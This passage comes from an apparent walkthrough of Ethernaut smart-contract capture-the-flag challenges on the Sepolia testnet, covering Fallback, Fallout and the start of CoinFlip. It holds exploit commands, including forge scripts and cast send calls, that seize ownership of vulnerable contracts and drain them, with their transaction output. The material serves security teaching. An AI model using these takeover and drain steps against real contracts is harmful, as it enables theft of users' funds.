    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">1000</span> <span class="hljs-operator">*</span> (<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
  }
</code></pre><p>the fallback function <code>receive()</code> is a special function that is called &quot;automatically&quot; when some <code>ether</code> is sent to the contract without specifying anything in the <code>calldata</code> (<em>i.e.</em>, calls made with <code>send()</code> or <code>transfer()</code>).</p><blockquote><p>💎 <em>implementing</em> <em>a fallback function is a good idea if the contract receives</em> <code>ether</code> f<em>rom other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function.</em></p></blockquote><p>here, <code>receive()</code> requires that <code>msg.value &gt; 0</code> (the function call needs to contain some <code>wei</code>) and <code>contributions[msg.sender] &gt; 0</code> (the caller has to have donated before). if they pass, <code>owner</code> becomes <code>msg.sender</code>:</p><pre data-type="codeBlock" text="receive() external payable {
    require(msg.value &gt; 0 &amp;&amp; contributions[msg.sender] &gt; 0);
    owner = msg.sender;
 }
"><code><span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span> <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span> <span class="hljs-number">0</span>);
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
 }
</code></pre><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>check <code>test/01/Fallback.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8e092c9510e684591301a7346ce36f30fec4bbf12e5bc4474862431348d87314.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>which can be run with:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract FallbackTest -vvvv    

Running 1 test for test/01/Fallback.t.sol:FallbackTest
(...)

Traces:
(...)
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FallbackTest</span> -<span class="hljs-title">vvvv</span>    

<span class="hljs-title">Running</span> 1 <span class="hljs-title">test</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">test</span>/01/<span class="hljs-title">Fallback</span>.<span class="hljs-title">t</span>.<span class="hljs-title">sol</span>:<span class="hljs-title">FallbackTest</span>
(<span class="hljs-params">...</span>)

<span class="hljs-title">Traces</span>:
(<span class="hljs-params">...</span>)
</span></code></pre><p>and submitted with <code>script/01/Fallback.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a17cdc2ba0fbbdeaeb144c248ca629e9097be9d327e73530a20d579edd85dec8.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/01/Fallback.s.sol \ 
                    --broadcast -vvvv \ 
                    --rpc-url sepolia

Traces:
(...)
==========================
Simulated On-chain Traces:
(...)
==========================

Chain 11155111
Estimated gas price: 3.645290764 gwei
Estimated total gas used for script: 119376
Estimated amount required: 0.000435160230243264 ETH

==========================

### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 2].

## Waiting for receipts.

##### sepolia
✅  [Success]Hash: 0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e
Block: 4092414
(...)
Paid: 0.00010032099827742 ETH (30364 gas * 3.303945405 gwei)

==========================
ONCHAIN EXECUTION COMPLETE &amp; SUCCESSFUL.
Total Paid: 0.000279946598111055 ETH (84731 gas * avg 3.303945405 gwei)
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>01<span class="hljs-operator">/</span>Fallback.s.sol \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv \ 
                    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia

Traces:
(...)
<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>
Simulated On<span class="hljs-operator">-</span>chain Traces:
(...)
<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

Chain <span class="hljs-number">11155111</span>
Estimated gas price: <span class="hljs-number">3.645290764</span> <span class="hljs-literal">gwei</span>
Estimated total gas used <span class="hljs-keyword">for</span> script: <span class="hljs-number">119376</span>
Estimated amount required: <span class="hljs-number">0</span><span class="hljs-number">.000435160230243264</span> ETH

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

### Finding wallets <span class="hljs-keyword">for</span> all the necessary addresses...
## Sending transactions [<span class="hljs-number">0</span> <span class="hljs-operator">-</span> <span class="hljs-number">2</span>].

## Waiting <span class="hljs-keyword">for</span> receipts.

##### sepolia
✅  [Success]Hash: <span class="hljs-number">0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e</span>
Block: <span class="hljs-number">4092414</span>
(...)
Paid: <span class="hljs-number">0</span><span class="hljs-number">.00010032099827742</span> ETH (<span class="hljs-number">30364</span> gas <span class="hljs-operator">*</span> <span class="hljs-number">3.303945405</span> <span class="hljs-literal">gwei</span>)

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>
ONCHAIN EXECUTION COMPLETE <span class="hljs-operator">&#x26;</span> SUCCESSFUL.
Total Paid: <span class="hljs-number">0</span><span class="hljs-number">.000279946598111055</span> ETH (<span class="hljs-number">84731</span> gas <span class="hljs-operator">*</span> avg <span class="hljs-number">3.303945405</span> <span class="hljs-literal">gwei</span>)
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h3 id="h-3-lines-solution-with-cast" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">3-lines solution with <code>cast</code></h3><p>alternatively, this problem could be solved without much code, by leveraging <code>cast</code>.</p><p>first, call <code>contribute()</code> with some <code>wei</code> so that <code>contributions[msg.sender] &gt; 0</code>:</p><pre data-type="codeBlock" text="&gt; cast send &lt;instance contract&gt; &quot;contribute()&quot; \ 
                  --value `1wei` --private-key=&lt;your private key&gt; \ 
                  --rpc-url=&lt;rpc endpoint to sepolia&gt;

blockHash               0xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f
blockNumber             4077851
contractAddress
cumulativeGasUsed       3800590
effectiveGasPrice       3216660017
gasUsed                 47965
logs                    []
logsBloom               0x00...00
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>instance <span class="hljs-class"><span class="hljs-keyword">contract</span>> "<span class="hljs-title">contribute</span>(<span class="hljs-params"></span>)" \ 
                  --<span class="hljs-title">value</span> `1<span class="hljs-title"><span class="hljs-literal">wei</span></span>` --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title">your</span> <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title">key</span>> \ 
                  --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">rpc</span> <span class="hljs-title">endpoint</span> <span class="hljs-title">to</span> <span class="hljs-title">sepolia</span>>

<span class="hljs-title">blockHash</span>               0<span class="hljs-title">xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f</span>
<span class="hljs-title">blockNumber</span>             4077851
<span class="hljs-title">contractAddress</span>
<span class="hljs-title">cumulativeGasUsed</span>       3800590
<span class="hljs-title">effectiveGasPrice</span>       3216660017
<span class="hljs-title">gasUsed</span>                 47965
<span class="hljs-title">logs</span>                    []
<span class="hljs-title">logsBloom</span>               0<span class="hljs-title">x00</span>...00
</span></code></pre><p>become <code>owner</code> when triggering <code>receive()</code> by sending <code>1 wei</code> to the contract with an empty data field (i.e., empty <code>msg.data</code>):</p><pre data-type="codeBlock" text="&gt; cast send &lt;instance contract&gt; \ 
                --value 1wei 
                --private-key=&lt;your private key&gt; \ 
                --rpc-url=&lt;rpc endpoint to sepolia&gt;

blockHash               0x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c
blockNumber             4077853
contractAddress
cumulativeGasUsed       28302
effectiveGasPrice       3183243793
gasUsed                 28302
logs                    []
logsBloom               0x000...0
root
status                  1
transactionHash         0xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77
transactionIndex        0
type                    2
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>instance <span class="hljs-class"><span class="hljs-keyword">contract</span>> \ 
                --<span class="hljs-title">value</span> 1<span class="hljs-title"><span class="hljs-literal">wei</span></span> 
                --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title">your</span> <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title">key</span>> \ 
                --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">rpc</span> <span class="hljs-title">endpoint</span> <span class="hljs-title">to</span> <span class="hljs-title">sepolia</span>>

<span class="hljs-title">blockHash</span>               0<span class="hljs-title">x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c</span>
<span class="hljs-title">blockNumber</span>             4077853
<span class="hljs-title">contractAddress</span>
<span class="hljs-title">cumulativeGasUsed</span>       28302
<span class="hljs-title">effectiveGasPrice</span>       3183243793
<span class="hljs-title">gasUsed</span>                 28302
<span class="hljs-title">logs</span>                    []
<span class="hljs-title">logsBloom</span>               0<span class="hljs-title">x000</span>...0
<span class="hljs-title">root</span>
<span class="hljs-title">status</span>                  1
<span class="hljs-title">transactionHash</span>         0<span class="hljs-title">xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77</span>
<span class="hljs-title">transactionIndex</span>        0
<span class="hljs-title"><span class="hljs-keyword">type</span></span>                    2
</span></code></pre><p>call <code>withdraw()</code> to drain the contract.</p><pre data-type="codeBlock" text="&gt; cast send &lt;instance contract&gt; &quot;withdraw()&quot; \ 
              --private-key=&lt;your private key&gt; \ 
              --rpc-url=&lt;rpc endpoint to sepolia&gt;

blockHash               0x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5
blockNumber             4077855
contractAddress
cumulativeGasUsed       1898453
effectiveGasPrice       3200792076
gasUsed                 30364
logs                    []
logsBloom               0x00000...00000
root
status                  1
transactionHash         0xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0
transactionIndex        2
type                    2
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>instance <span class="hljs-class"><span class="hljs-keyword">contract</span>> "<span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>)" \ 
              --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title">your</span> <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title">key</span>> \ 
              --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">rpc</span> <span class="hljs-title">endpoint</span> <span class="hljs-title">to</span> <span class="hljs-title">sepolia</span>>

<span class="hljs-title">blockHash</span>               0<span class="hljs-title">x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5</span>
<span class="hljs-title">blockNumber</span>             4077855
<span class="hljs-title">contractAddress</span>
<span class="hljs-title">cumulativeGasUsed</span>       1898453
<span class="hljs-title">effectiveGasPrice</span>       3200792076
<span class="hljs-title">gasUsed</span>                 30364
<span class="hljs-title">logs</span>                    []
<span class="hljs-title">logsBloom</span>               0<span class="hljs-title">x00000</span>...00000
<span class="hljs-title">root</span>
<span class="hljs-title">status</span>                  1
<span class="hljs-title">transactionHash</span>         0<span class="hljs-title">xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0</span>
<span class="hljs-title">transactionIndex</span>        2
<span class="hljs-title"><span class="hljs-keyword">type</span></span>                    2
</span></code></pre><hr><h2 id="h-0100-exploiting-constructor" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0100. exploiting constructor()</h2><p>in this challenge, the contract&apos;s constructor function is misspelled, causing the contract to call an empty constructor. we explore this vulnerability to become <code>owner</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/656d2e469a06b2cf88c110a836c64a1ccd7290ac3c2d1c965a9d2e5d2a0560f9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>an example of this vulnerability exploited irl was when <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security"><strong>a company called dynamic piramid changed its name to rubixi</strong></a> but forgot to change its contract&apos;s constructor and ended up hacked.</p><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>a constructor initializes the contract and the data within it.</p><p>when a constructor has a different name from the contract, it becomes a regular method with a default <code>public</code> visibility (<em>i.e.</em>, they are part of the contract&apos;s interface and can be callable by anyone).</p><p>this is the vulnerability we exploit:</p><pre data-type="codeBlock" text="  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
"><code>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Fal1out</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    allocations[owner] <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }
</code></pre><blockquote><p>💎 <em>fun fact: before solidity</em> <code>0.4.22</code>, <em>defining a function with the same name as the contract was the only way to define its constructor. after that version, the</em> <code>constructor</code> <em>keyword was introduced.</em></p></blockquote><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>i had to change the original contract a little to compile with foundry (<em>e.g.</em>, adding a couple of <code>payable</code> casting and removing <code>SafeMath</code> as it&apos;s not needed for <code>&gt;= 0.8.0</code>).</p><p><code>test/02/Fallout.t.sol</code> is super simple:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/907cf60e50c85fe1d2a2243fb231983dc9a9b4fdb128512f186e4b00a1f18aa6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>run with:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract FalloutTest -vvvv    

Running 1 test for test/02/Fallout.t.sol:FalloutTest
[PASS] testFallbackHack() (gas: 35036)
Traces:
  [35036] FalloutTest::testFallbackHack() 
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) 
    │   └─ ← ()
    ├─ [24507] Fallout::Fal1out() 
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 514.50µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FalloutTest</span> -<span class="hljs-title">vvvv</span>    

<span class="hljs-title">Running</span> 1 <span class="hljs-title">test</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">test</span>/02/<span class="hljs-title">Fallout</span>.<span class="hljs-title">t</span>.<span class="hljs-title">sol</span>:<span class="hljs-title">FalloutTest</span>
[<span class="hljs-title">PASS</span>] <span class="hljs-title">testFallbackHack</span>(<span class="hljs-params"></span>) (<span class="hljs-params">gas: <span class="hljs-number">35036</span></span>)
<span class="hljs-title">Traces</span>:
  [35036] <span class="hljs-title">FalloutTest</span>::<span class="hljs-title">testFallbackHack</span>(<span class="hljs-params"></span>) 
    ├─ [0] <span class="hljs-title">VM</span>::<span class="hljs-title">startPrank</span>(<span class="hljs-params"><span class="hljs-number">0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF</span></span>) 
    │   └─ ← (<span class="hljs-params"></span>)
    ├─ [24507] <span class="hljs-title">Fallout</span>::<span class="hljs-title">Fal1out</span>(<span class="hljs-params"></span>) 
    │   └─ ← (<span class="hljs-params"></span>)
    ├─ [0] <span class="hljs-title">VM</span>::<span class="hljs-title">stopPrank</span>(<span class="hljs-params"></span>) 
    │   └─ ← (<span class="hljs-params"></span>)
    └─ ← (<span class="hljs-params"></span>)

<span class="hljs-title">Test</span> <span class="hljs-title">result</span>: <span class="hljs-title">ok</span>. 1 <span class="hljs-title">passed</span>; 0 <span class="hljs-title">failed</span>; 0 <span class="hljs-title">skipped</span>; <span class="hljs-title">finished</span> <span class="hljs-title">in</span> 514.50µ<span class="hljs-title">s</span>
<span class="hljs-title">Ran</span> 1 <span class="hljs-title">test</span> <span class="hljs-title">suites</span>: 1 <span class="hljs-title">tests</span> <span class="hljs-title">passed</span>, 0 <span class="hljs-title">failed</span>, 0 <span class="hljs-title">skipped</span> (<span class="hljs-params"><span class="hljs-number">1</span> total tests</span>)
</span></code></pre><p>then, a solution can be submitted with <code>script/02/Fallout.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/74c47c179d6de6bc489d5b828d3708ab47f124ee7d3cce2c262c05a0261867fb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/02/Fallout.s.sol \ 
              --broadcast -vvvv \ 
              --rpc-url sepolia

[⠢] Compiling...
[⠃] Compiling 1 files with 0.8.21
[⠊] Solc 0.8.21 finished in 619.82ms
Compiler run successful!
Traces:
(...)

Script ran successfully.

## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)
==========================

Chain 11155111
Estimated gas price: 3.397321144 gwei
Estimated total gas used for script: 62992
Estimated amount required: 0.000214004053502848 ETH

==========================

### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 0].
⠁ [00:00:00] [###################] 1/1 txes (0.0s)
## Waiting for receipts.
⠉ [00:00:12] [#####################################] 1/1 receipts (0.0s)
##### sepolia
✅  [Success]Hash: 0x398c258730c922336d269c8ee892f215573cc0ebce34605bb655c171b7fbe374
Block: 4097312
Paid: 0.00014700180794244 ETH (45606 gas * 3.22329974 gwei)

==========================
ONCHAIN EXECUTION COMPLETE &amp; SUCCESSFUL.
Total Paid: 0.00014700180794244 ETH (45606 gas * avg 3.22329974 gwei)
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span>02<span class="hljs-operator">/</span>Fallout.s.sol \ 
              <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv \ 
              <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia

[⠢] Compiling...
[⠃] Compiling <span class="hljs-number">1</span> files with <span class="hljs-number">0</span><span class="hljs-number">.8</span><span class="hljs-number">.21</span>
[⠊] Solc <span class="hljs-number">0</span><span class="hljs-number">.8</span><span class="hljs-number">.21</span> finished in <span class="hljs-number">619</span>.82ms
Compiler run successful<span class="hljs-operator">!</span>
Traces:
(...)

Script ran successfully.

## Setting up (<span class="hljs-number">1</span>) EVMs.
=<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>
Simulated On<span class="hljs-operator">-</span>chain Traces:
(...)
<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

Chain <span class="hljs-number">11155111</span>
Estimated gas price: <span class="hljs-number">3.397321144</span> <span class="hljs-literal">gwei</span>
Estimated total gas used <span class="hljs-keyword">for</span> script: <span class="hljs-number">62992</span>
Estimated amount required: <span class="hljs-number">0</span><span class="hljs-number">.000214004053502848</span> ETH

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

### Finding wallets <span class="hljs-keyword">for</span> all the necessary addresses...
## Sending transactions [<span class="hljs-number">0</span> <span class="hljs-operator">-</span> <span class="hljs-number">0</span>].
⠁ [00:00:00] [###################] <span class="hljs-number">1</span><span class="hljs-operator">/</span><span class="hljs-number">1</span> txes (<span class="hljs-number">0</span>.0s)
## Waiting <span class="hljs-keyword">for</span> receipts.
⠉ [00:00:<span class="hljs-number">12</span>] [#####################################] <span class="hljs-number">1</span><span class="hljs-operator">/</span><span class="hljs-number">1</span> receipts (<span class="hljs-number">0</span>.0s)
##### sepolia
✅  [Success]Hash: <span class="hljs-number">0x398c258730c922336d269c8ee892f215573cc0ebce34605bb655c171b7fbe374</span>
Block: <span class="hljs-number">4097312</span>
Paid: <span class="hljs-number">0</span><span class="hljs-number">.00014700180794244</span> ETH (<span class="hljs-number">45606</span> gas <span class="hljs-operator">*</span> <span class="hljs-number">3.22329974</span> <span class="hljs-literal">gwei</span>)

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>
ONCHAIN EXECUTION COMPLETE <span class="hljs-operator">&#x26;</span> SUCCESSFUL.
Total Paid: <span class="hljs-number">0</span><span class="hljs-number">.00014700180794244</span> ETH (<span class="hljs-number">45606</span> gas <span class="hljs-operator">*</span> avg <span class="hljs-number">3.22329974</span> <span class="hljs-literal">gwei</span>)
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-0101-exploiting-pseudo-randomness" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0101. exploiting pseudo-randomness</h2><p>in this challenge, we exploit the determinism of a pseudo-random function composed uniquely of an EVM global accessible variable (<code>blockhash</code>) and no added entropy.</p><p>this is the vulnerable contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7375f7136480fdf9ae2a169a29065e7c83124bf8e4788ce748ceda77bff8b704.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the EVM is a deterministic turing machine.</p><p>since it has no inherent randomness and as everything in the contracts is publicly visible (<em>e.g.</em>, <code>block.timestamp</code>, <code>block.number</code>), generating random numbers in solidity is non-trivial.</p><p>projects resource to external oracles or to ethereum validator&apos;s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/randao/randao"><strong>RANDAO</strong></a> algorithm.</p><p>the <code>CoinFlip</code> contract 